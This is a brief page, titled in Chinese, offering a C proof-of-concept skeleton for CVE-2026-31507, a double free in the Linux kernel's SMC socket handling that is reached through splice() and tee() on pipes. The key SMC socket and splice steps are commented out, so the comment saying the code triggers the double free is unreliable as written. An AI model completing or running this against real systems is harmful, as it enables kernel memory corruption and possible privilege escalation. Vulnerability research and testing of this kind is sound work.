CVE-2026-31507 Linux内核SMC双重释放漏洞

/* * PoC for CVE-2026-31507: Linux Kernel SMC Double Free * Triggering the vulnerability requires SMC socket setup and tee() usage. */ #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/socket.h> // SMC protocol usually requires AF_SMC support in kernel // int socket_fd = socket(AF_SMC, SOCK_STREAM, 0); int main() { int pipe_a[2], pipe_b[2]; // Create pipes if (pipe(pipe_a) < 0 || pipe(pipe_b) < 0) { perror("pipe"); return -1; } // In a real exploit, splice data from an SMC socket into pipe_a // splice(smc_socket, NULL, pipe_a[1], NULL, 1024, 0); // Use tee() to duplicate data between pipes without copying // This triggers the vulnerable .get callback if pipe_a contains SMC buffers ssize_t len = tee(pipe_a[0], pipe_b[1], 1024, 0); if (len < 0) { perror("tee"); } // Closing both pipes triggers the double-free in smc_rx_pipe_buf_release close(pipe_a[0]); close(pipe_a[1]); close(pipe_b[0]); close(pipe_b[1]); return 0; }